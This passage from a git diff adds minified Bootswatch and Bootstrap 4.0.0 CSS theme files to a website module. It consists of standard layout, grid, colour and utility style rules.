!important}.pt-sm-4,.py-sm-4{padding-top:1.5rem !important}.pr-sm-4,.px-sm-4{padding-right:1.5rem !important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem !important}.pl-sm-4,.px-sm-4{padding-left:1.5rem !important}.p-sm-5{padding:3rem !important}.pt-sm-5,.py-sm-5{padding-top:3rem !important}.pr-sm-5,.px-sm-5{padding-right:3rem !important}.pb-sm-5,.py-sm-5{padding-bottom:3rem !important}.pl-sm-5,.px-sm-5{padding-left:3rem !important}.m-sm-auto{margin:auto !important}.mt-sm-auto,.my-sm-auto{margin-top:auto !important}.mr-sm-auto,.mx-sm-auto{margin-right:auto !important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto !important}.ml-sm-auto,.mx-sm-auto{margin-left:auto !important}}@media (min-width: 768px){.m-md-0{margin:0 !important}.mt-md-0,.my-md-0{margin-top:0 !important}.mr-md-0,.mx-md-0{margin-right:0 !important}.mb-md-0,.my-md-0{margin-bottom:0 !important}.ml-md-0,.mx-md-0{margin-left:0 !important}.m-md-1{margin:0.25rem !important}.mt-md-1,.my-md-1{margin-top:0.25rem !important}.mr-md-1,.mx-md-1{margin-right:0.25rem !important}.mb-md-1,.my-md-1{margin-bottom:0.25rem !important}.ml-md-1,.mx-md-1{margin-left:0.25rem !important}.m-md-2{margin:0.5rem !important}.mt-md-2,.my-md-2{margin-top:0.5rem !important}.mr-md-2,.mx-md-2{margin-right:0.5rem !important}.mb-md-2,.my-md-2{margin-bottom:0.5rem !important}.ml-md-2,.mx-md-2{margin-left:0.5rem !important}.m-md-3{margin:1rem !important}.mt-md-3,.my-md-3{margin-top:1rem !important}.mr-md-3,.mx-md-3{margin-right:1rem !important}.mb-md-3,.my-md-3{margin-bottom:1rem !important}.ml-md-3,.mx-md-3{margin-left:1rem !important}.m-md-4{margin:1.5rem !important}.mt-md-4,.my-md-4{margin-top:1.5rem !important}.mr-md-4,.mx-md-4{margin-right:1.5rem !important}.mb-md-4,.my-md-4{margin-bottom:1.5rem !important}.ml-md-4,.mx-md-4{margin-left:1.5rem !important}.m-md-5{margin:3rem !important}.mt-md-5,.my-md-5{margin-top:3rem !important}.mr-md-5,.mx-md-5{margin-right:3rem !important}.mb-md-5,.my-md-5{margin-bottom:3rem !important}.ml-md-5,.mx-md-5{margin-left:3rem !important}.p-md-0{padding:0 !important}.pt-md-0,.py-md-0{padding-top:0 !important}.pr-md-0,.px-md-0{padding-right:0 !important}.pb-md-0,.py-md-0{padding-bottom:0 !important}.pl-md-0,.px-md-0{padding-left:0 !important}.p-md-1{padding:0.25rem !important}.pt-md-1,.py-md-1{padding-top:0.25rem !important}.pr-md-1,.px-md-1{padding-right:0.25rem !important}.pb-md-1,.py-md-1{padding-bottom:0.25rem !important}.pl-md-1,.px-md-1{padding-left:0.25rem !important}.p-md-2{padding:0.5rem !important}.pt-md-2,.py-md-2{padding-top:0.5rem !important}.pr-md-2,.px-md-2{padding-right:0.5rem !important}.pb-md-2,.py-md-2{padding-bottom:0.5rem !important}.pl-md-2,.px-md-2{padding-left:0.5rem !important}.p-md-3{padding:1rem !important}.pt-md-3,.py-md-3{padding-top:1rem !important}.pr-md-3,.px-md-3{padding-right:1rem !important}.pb-md-3,.py-md-3{padding-bottom:1rem !important}.pl-md-3,.px-md-3{padding-left:1rem !important}.p-md-4{padding:1.5rem !important}.pt-md-4,.py-md-4{padding-top:1.5rem !important}.pr-md-4,.px-md-4{padding-right:1.5rem !important}.pb-md-4,.py-md-4{padding-bottom:1.5rem !important}.pl-md-4,.px-md-4{padding-left:1.5rem !important}.p-md-5{padding:3rem !important}.pt-md-5,.py-md-5{padding-top:3rem !important}.pr-md-5,.px-md-5{padding-right:3rem !important}.pb-md-5,.py-md-5{padding-bottom:3rem !important}.pl-md-5,.px-md-5{padding-left:3rem !important}.m-md-auto{margin:auto !important}.mt-md-auto,.my-md-auto{margin-top:auto !important}.mr-md-auto,.mx-md-auto{margin-right:auto !important}.mb-md-auto,.my-md-auto{margin-bottom:auto !important}.ml-md-auto,.mx-md-auto{margin-left:auto !important}}@media (min-width: 992px){.m-lg-0{margin:0 !important}.mt-lg-0,.my-lg-0{margin-top:0 !important}.mr-lg-0,.mx-lg-0{margin-right:0 !important}.mb-lg-0,.my-lg-0{margin-bottom:0 !important}.ml-lg-0,.mx-lg-0{margin-left:0 !important}.m-lg-1{margin:0.25rem !important}.mt-lg-1,.my-lg-1{margin-top:0.25rem !important}.mr-lg-1,.mx-lg-1{margin-right:0.25rem !important}.mb-lg-1,.my-lg-1{margin-bottom:0.25rem !important}.ml-lg-1,.mx-lg-1{margin-left:0.25rem !important}.m-lg-2{margin:0.5rem !important}.mt-lg-2,.my-lg-2{margin-top:0.5rem !important}.mr-lg-2,.mx-lg-2{margin-right:0.5rem !important}.mb-lg-2,.my-lg-2{margin-bottom:0.5rem !important}.ml-lg-2,.mx-lg-2{margin-left:0.5rem !important}.m-lg-3{margin:1rem !important}.mt-lg-3,.my-lg-3{margin-top:1rem !important}.mr-lg-3,.mx-lg-3{margin-right:1rem !important}.mb-lg-3,.my-lg-3{margin-bottom:1rem !important}.ml-lg-3,.mx-lg-3{margin-left:1rem !important}.m-lg-4{margin:1.5rem !important}.mt-lg-4,.my-lg-4{margin-top:1.5rem !important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem !important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem !important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem !important}.m-lg-5{margin:3rem !important}.mt-lg-5,.my-lg-5{margin-top:3rem !important}.mr-lg-5,.mx-lg-5{margin-right:3rem !important}.mb-lg-5,.my-lg-5{margin-bottom:3rem !important}.ml-lg-5,.mx-lg-5{margin-left:3rem !important}.p-lg-0{padding:0 !important}.pt-lg-0,.py-lg-0{padding-top:0 !important}.pr-lg-0,.px-lg-0{padding-right:0 !important}.pb-lg-0,.py-lg-0{padding-bottom:0 !important}.pl-lg-0,.px-lg-0{padding-left:0 !important}.p-lg-1{padding:0.25rem !important}.pt-lg-1,.py-lg-1{padding-top:0.25rem !important}.pr-lg-1,.px-lg-1{padding-right:0.25rem !important}.pb-lg-1,.py-lg-1{padding-bottom:0.25rem !important}.pl-lg-1,.px-lg-1{padding-left:0.25rem !important}.p-lg-2{padding:0.5rem !important}.pt-lg-2,.py-lg-2{padding-top:0.5rem !important}.pr-lg-2,.px-lg-2{padding-right:0.5rem !important}.pb-lg-2,.py-lg-2{padding-bottom:0.5rem !important}.pl-lg-2,.px-lg-2{padding-left:0.5rem !important}.p-lg-3{padding:1rem !important}.pt-lg-3,.py-lg-3{padding-top:1rem !important}.pr-lg-3,.px-lg-3{padding-right:1rem !important}.pb-lg-3,.py-lg-3{padding-bottom:1rem !important}.pl-lg-3,.px-lg-3{padding-left:1rem !important}.p-lg-4{padding:1.5rem !important}.pt-lg-4,.py-lg-4{padding-top:1.5rem !important}.pr-lg-4,.px-lg-4{padding-right:1.5rem !important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem !important}.pl-lg-4,.px-lg-4{padding-left:1.5rem !important}.p-lg-5{padding:3rem !important}.pt-lg-5,.py-lg-5{padding-top:3rem !important}.pr-lg-5,.px-lg-5{padding-right:3rem !important}.pb-lg-5,.py-lg-5{padding-bottom:3rem !important}.pl-lg-5,.px-lg-5{padding-left:3rem !important}.m-lg-auto{margin:auto !important}.mt-lg-auto,.my-lg-auto{margin-top:auto !important}.mr-lg-auto,.mx-lg-auto{margin-right:auto !important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto !important}.ml-lg-auto,.mx-lg-auto{margin-left:auto !important}}@media (min-width: 1200px){.m-xl-0{margin:0 !important}.mt-xl-0,.my-xl-0{margin-top:0 !important}.mr-xl-0,.mx-xl-0{margin-right:0 !important}.mb-xl-0,.my-xl-0{margin-bottom:0 !important}.ml-xl-0,.mx-xl-0{margin-left:0 !important}.m-xl-1{margin:0.25rem !important}.mt-xl-1,.my-xl-1{margin-top:0.25rem !important}.mr-xl-1,.mx-xl-1{margin-right:0.25rem !important}.mb-xl-1,.my-xl-1{margin-bottom:0.25rem !important}.ml-xl-1,.mx-xl-1{margin-left:0.25rem !important}.m-xl-2{margin:0.5rem !important}.mt-xl-2,.my-xl-2{margin-top:0.5rem !important}.mr-xl-2,.mx-xl-2{margin-right:0.5rem !important}.mb-xl-2,.my-xl-2{margin-bottom:0.5rem !important}.ml-xl-2,.mx-xl-2{margin-left:0.5rem !important}.m-xl-3{margin:1rem !important}.mt-xl-3,.my-xl-3{margin-top:1rem !important}.mr-xl-3,.mx-xl-3{margin-right:1rem !important}.mb-xl-3,.my-xl-3{margin-bottom:1rem !important}.ml-xl-3,.mx-xl-3{margin-left:1rem !important}.m-xl-4{margin:1.5rem !important}.mt-xl-4,.my-xl-4{margin-top:1.5rem !important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem !important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem !important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem !important}.m-xl-5{margin:3rem !important}.mt-xl-5,.my-xl-5{margin-top:3rem !important}.mr-xl-5,.mx-xl-5{margin-right:3rem !important}.mb-xl-5,.my-xl-5{margin-bottom:3rem !important}.ml-xl-5,.mx-xl-5{margin-left:3rem !important}.p-xl-0{padding:0 !important}.pt-xl-0,.py-xl-0{padding-top:0 !important}.pr-xl-0,.px-xl-0{padding-right:0 !important}.pb-xl-0,.py-xl-0{padding-bottom:0 !important}.pl-xl-0,.px-xl-0{padding-left:0 !important}.p-xl-1{padding:0.25rem !important}.pt-xl-1,.py-xl-1{padding-top:0.25rem !important}.pr-xl-1,.px-xl-1{padding-right:0.25rem !important}.pb-xl-1,.py-xl-1{padding-bottom:0.25rem !important}.pl-xl-1,.px-xl-1{padding-left:0.25rem !important}.p-xl-2{padding:0.5rem !important}.pt-xl-2,.py-xl-2{padding-top:0.5rem !important}.pr-xl-2,.px-xl-2{padding-right:0.5rem !important}.pb-xl-2,.py-xl-2{padding-bottom:0.5rem !important}.pl-xl-2,.px-xl-2{padding-left:0.5rem !important}.p-xl-3{padding:1rem !important}.pt-xl-3,.py-xl-3{padding-top:1rem !important}.pr-xl-3,.px-xl-3{padding-right:1rem !important}.pb-xl-3,.py-xl-3{padding-bottom:1rem !important}.pl-xl-3,.px-xl-3{padding-left:1rem !important}.p-xl-4{padding:1.5rem !important}.pt-xl-4,.py-xl-4{padding-top:1.5rem !important}.pr-xl-4,.px-xl-4{padding-right:1.5rem !important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem !important}.pl-xl-4,.px-xl-4{padding-left:1.5rem !important}.p-xl-5{padding:3rem !important}.pt-xl-5,.py-xl-5{padding-top:3rem !important}.pr-xl-5,.px-xl-5{padding-right:3rem !important}.pb-xl-5,.py-xl-5{padding-bottom:3rem !important}.pl-xl-5,.px-xl-5{padding-left:3rem !important}.m-xl-auto{margin:auto !important}.mt-xl-auto,.my-xl-auto{margin-top:auto !important}.mr-xl-auto,.mx-xl-auto{margin-right:auto !important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto !important}.ml-xl-auto,.mx-xl-auto{margin-left:auto !important}}.text-justify{text-align:justify !important}.text-nowrap{white-space:nowrap !important}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text-left{text-align:left !important}.text-right{text-align:right !important}.text-center{text-align:center !important}@media (min-width: 576px){.text-sm-left{text-align:left !important}.text-sm-right{text-align:right !important}.text-sm-center{text-align:center !important}}@media (min-width: 768px){.text-md-left{text-align:left !important}.text-md-right{text-align:right !important}.text-md-center{text-align:center !important}}@media (min-width: 992px){.text-lg-left{text-align:left !important}.text-lg-right{text-align:right !important}.text-lg-center{text-align:center !important}}@media (min-width: 1200px){.text-xl-left{text-align:left !important}.text-xl-right{text-align:right !important}.text-xl-center{text-align:center !important}}.text-lowercase{text-transform:lowercase !important}.text-uppercase{text-transform:uppercase !important}.text-capitalize{text-transform:capitalize !important}.font-weight-light{font-weight:300 !important}.font-weight-normal{font-weight:400 !important}.font-weight-bold{font-weight:700 !important}.font-italic{font-style:italic !important}.text-white{color:#fff !important}.text-primary{color:#DF691A !important}a.text-primary:hover,a.text-primary:focus{color:#b15315 !important}.text-secondary{color:#4E5D6C !important}a.text-secondary:hover,a.text-secondary:focus{color:#39444e !important}.text-success{color:#5cb85c !important}a.text-success:hover,a.text-success:focus{color:#449d44 !important}.text-info{color:#5bc0de !important}a.text-info:hover,a.text-info:focus{color:#31b0d5 !important}.text-warning{color:#f0ad4e !important}a.text-warning:hover,a.text-warning:focus{color:#ec971f !important}.text-danger{color:#d9534f !important}a.text-danger:hover,a.text-danger:focus{color:#c9302c !important}.text-light{color:#8d9dad !important}a.text-light:hover,a.text-light:focus{color:#6f8397 !important}.text-dark{color:#4E5D6C !important}a.text-dark:hover,a.text-dark:focus{color:#39444e !important}.text-muted{color:rgba(255,255,255,0.4) !important}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.visible{visibility:visible !important}.invisible{visibility:hidden !important}@media print{*,*::before,*::after{text-shadow:none !important;-webkit-box-shadow:none !important;box-shadow:none !important}a:not(.btn){text-decoration:underline}abbr[title]::after{content:" (" attr(title) ")"}pre{white-space:pre-wrap !important}pre,blockquote{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}p,h2,h3{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}body{min-width:992px !important}.container{min-width:992px !important}.navbar{display:none}.badge{border:1px solid #000}.table{border-collapse:collapse !important}.table td,.table th{background-color:#fff !important}.table-bordered th,.table-bordered td{border:1px solid #ddd !important}}.navbar{font-size:0.875rem}.btn-info,.btn-warning{color:#fff}.dropdown-menu{font-size:0.875rem}.dropdown-header{font-size:0.875rem}.blockquote-footer{color:#EBEBEB}.table{font-size:0.875rem}.table .thead-dark th{color:#fff}.table a:not(.btn){color:#fff;text-decoration:underline}.table .dropdown-menu a{text-decoration:none}.table .text-muted{color:rgba(255,255,255,0.4)}.table-success,.table-success>th,.table-success>td{background-color:#5cb85c}.table-info,.table-info>th,.table-info>td{background-color:#5bc0de}.table-danger,.table-danger>th,.table-danger>td{background-color:#d9534f}.table-warning,.table-warning>th,.table-warning>td{background-color:#f0ad4e}.table-hover .table-success:hover,.table-hover .table-success:hover>th,.table-hover .table-success:hover>td{background-color:#4cae4c}.table-hover .table-info:hover,.table-hover .table-info:hover>th,.table-hover .table-info:hover>td{background-color:#46b8da}.table-hover .table-danger:hover,.table-hover .table-danger:hover>th,.table-hover .table-danger:hover>td{background-color:#d43f3a}.table-hover .table-warning:hover,.table-hover .table-warning:hover>th,.table-hover .table-warning:hover>td{background-color:#eea236}label,.radio label,.checkbox label,.help-block{font-size:0.875rem}.input-addon,.input-group-addon{color:#EBEBEB}.nav-tabs .nav-link,.nav-tabs .nav-link:hover,.nav-pills .nav-link,.nav-pills .nav-link:hover{color:#EBEBEB}.nav-tabs .nav-link.disabled,.nav-pills .nav-link.disabled{color:rgba(255,255,255,0.4)}.page-link:hover,.page-link:focus{color:#fff;text-decoration:none}.alert{border:none;color:#fff}.alert a,.alert .alert-link{color:#fff;text-decoration:underline}.alert-primary{background-color:#DF691A}.alert-secondary{background-color:#4E5D6C}.alert-success{background-color:#5cb85c}.alert-info{background-color:#5bc0de}.alert-warning{background-color:#f0ad4e}.alert-danger{background-color:#d9534f}.alert-light{background-color:#8d9dad}.alert-dark{background-color:#4E5D6C}.badge-warning,.badge-info{color:#fff}.close{opacity:0.5}.close:hover,.close:focus{opacity:1}.modal-header,.modal-footer{background-color:rgba(255,255,255,0.075)}.modal-header .close,.modal-footer .close{color:#fff;text-shadow:none;opacity:0.5}.modal-header .close:hover,.modal-header .close:focus,.modal-footer .close:hover,.modal-footer .close:focus{opacity:1} diff --git a/modules/services/unix/http/parameterised_website/files/themes/united.min.css b/modules/services/unix/http/parameterised_website/files/themes/united.min.css new file mode 100644 index 000000000..7bd290370 --- /dev/null +++ b/modules/services/unix/http/parameterised_website/files/themes/united.min.css @@ -0,0 +1,12 @@ +/*! + * Bootswatch v4.0.0 + * Homepage: https://bootswatch.com + * Copyright 2012-2018 Thomas Park + * Licensed under MIT + * Based on Bootstrap +*//*! + * Bootstrap v4.0.0 (https://getbootstrap.com) + * Copyright 2011-2018 The Bootstrap Authors + * Copyright 2011-2018 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */@import url("https://fonts.googleapis.com/css?family=Ubuntu:400,700");:root{--blue:#007bff;--indigo:#6610f2;--purple:#772953;--pink:#e83e8c;--red:#DF382C;--orange:#E95420;--yellow:#EFB73E;--green:#38B44A;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#868e96;--gray-dark:#333;--primary:#E95420;--secondary:#AEA79F;--success:#38B44A;--info:#17a2b8;--warning:#EFB73E;--danger:#DF382C;--light:#e9ecef;--dark:#772953;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:"Ubuntu", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";--font-family-monospace:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace}*,*::before,*::after{-webkit-box-sizing:border-box;box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:"Ubuntu", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";font-size:1rem;font-weight:400;line-height:1.5;color:#333;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0 !important}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0.5rem}p{margin-top:0;margin-bottom:1rem}abbr[title],abbr[data-original-title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul,dl{margin-top:0;margin-bottom:1rem}ol ol,ul ul,ol ul,ul ol{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#E95420;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#ac3911;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):hover,a:not([href]):not([tabindex]):focus{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}pre,code,kbd,samp{font-family:monospace, monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}table{border-collapse:collapse}caption{padding-top:0.75rem;padding-bottom:0.75rem;color:#868e96;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}input,button,select,optgroup,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}button,html [type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{padding:0;border-style:none}input[type="radio"],input[type="checkbox"]{-webkit-box-sizing:border-box;box-sizing:border-box;padding:0}input[type="date"],input[type="time"],input[type="datetime-local"],input[type="month"]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{outline-offset:-2px;-webkit-appearance:none}[type="search"]::-webkit-search-cancel-button,[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none !important}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{margin-bottom:0.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}h1,.h1{font-size:2.5rem}h2,.h2{font-size:2rem}h3,.h3{font-size:1.75rem}h4,.h4{font-size:1.5rem}h5,.h5{font-size:1.25rem}h6,.h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2}.display-2{font-size:5.5rem;font-weight:300;line-height:1.2}.display-3{font-size:4.5rem;font-weight:300;line-height:1.2}.display-4{font-size:3.5rem;font-weight:300;line-height:1.2}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0,0,0,0.1)}small,.small{font-size:80%;font-weight:400}mark,.mark{padding:0.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:0.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:80%;color:#868e96}.blockquote-footer::before{content:"\2014 \00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:0.25rem;background-color:#fff;border:1px solid #dee2e6;border-radius:0.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:0.5rem;line-height:1}.figure-caption{font-size:90%;color:#868e96}code,kbd,pre,samp{font-family:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:0.2rem 0.4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:0.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width: 576px){.container{max-width:540px}}@media (min-width: 768px){.container{max-width:720px}}@media (min-width: 992px){.container{max-width:960px}}@media (min-width: 1200px){.container{max-width:1140px}}.container-fluid{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*="col-"]{padding-right:0;padding-left:0}.col-1,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-10,.col-11,.col-12,.col,.col-auto,.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm,.col-sm-auto,.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12,.col-md,.col-md-auto,.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg,.col-lg-auto,.col-xl-1,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl,.col-xl-auto{position:relative;width:100%;min-height:1px;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-1{margin-left:8.3333333333%}.offset-2{margin-left:16.6666666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.3333333333%}.offset-5{margin-left:41.6666666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.3333333333%}.offset-8{margin-left:66.6666666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.3333333333%}.offset-11{margin-left:91.6666666667%}@media (min-width: 576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-sm-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-sm-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-sm-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-sm-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-sm-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-sm-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-sm-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-sm-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 